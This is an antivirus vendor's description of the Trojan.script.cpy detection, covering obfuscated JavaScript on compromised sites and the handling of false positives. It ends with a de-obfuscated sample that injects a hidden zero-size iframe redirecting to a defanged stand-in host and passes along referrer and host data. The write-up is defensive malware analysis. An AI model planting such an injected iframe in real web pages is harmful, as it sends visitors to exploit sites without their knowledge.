Trojan.script.cpy is a detection for obfuscated JavaScript code. When the code is executed, it injects a hidden iframe that redirects the user to a malicious site.
Based on the settings of your F-Secure security product, it will either move the file to the quarantine where it cannot spread or cause harm, or remove it.
A False Positive is when a file is incorrectly detected as harmful, usually because its code or behavior resembles known harmful programs. A False Positive will usually be fixed in a subsequent database update without any action needed on your part. If you wish, you may also:
Check for the latest database updates
First check if your F-Secure security program is using the latest updates, then try scanning the file again.
Submit a sample
After checking, if you still believe the file is incorrectly detected, you can submit a sample of it for re-analysis.
Note: If the file was moved to quarantine, you need to collect the file from quarantine before you can submit it.
Exclude a file from further scanning
If you are certain that the file is safe and want to continue using it, you can exclude it from further scanning by the F-Secure security product.
Note: You need administrative rights to change the settings.
The obfuscated JavaScript code is typically found on compromised web sites, buried within legitimate HTML and JavaScript code in order to remain undetected. The malicious JavaScript is obfuscated to prevent easy analysis of the source code and to avoid detection.
If the user visits a web page containing the malicious JavaScript and the browser is set to automatically run such code, it will try to inject a hidden iframe; the height and width of the iframe is set to 0 in order to hide it from the user's view. The iframe will redirect to user to an unsolicited, malicious web page, which may host various types of web-based attacks, such as exploits.
An example of the de-obfuscated malicious JavaScript code:
var iframe = document.createElement('iframe');
iframe.width=0;
iframe.height=0;
iframe.src= "h x x p: / / A B C.com/"+referrer+default_keyword+host;
document.body.appendChild(iframe);